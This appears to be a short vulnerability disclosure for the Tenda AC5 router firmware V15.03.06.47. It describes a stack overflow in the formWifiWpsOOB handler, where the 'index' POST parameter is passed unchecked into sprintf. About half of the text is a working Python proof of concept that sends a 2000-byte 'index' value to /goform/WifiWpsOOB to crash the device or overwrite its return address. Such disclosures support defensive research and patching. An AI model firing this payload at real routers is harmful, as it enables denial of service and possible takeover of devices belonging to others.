AC5 V1.0 V15.03.06.47
The Tenda AC5 V1.0 V15.03.06.47 has a stack overflow vulnerability in the formWifiWpsOOB function. The nptr variable receives the index parameter from a POST request. The value is directly used in a sprintf function and passes to a local variable on the stack, which can override the return address of the function. The user-provided index can trigger this security vulnerability.
import requests
from pwn import*
ip = "192.168.84.101"
url = "http://" + ip + "/goform/WifiWpsOOB"
payload = b"a"*2000
data = {"index": payload}
response = requests.post(url, data=data)
print(response.text)
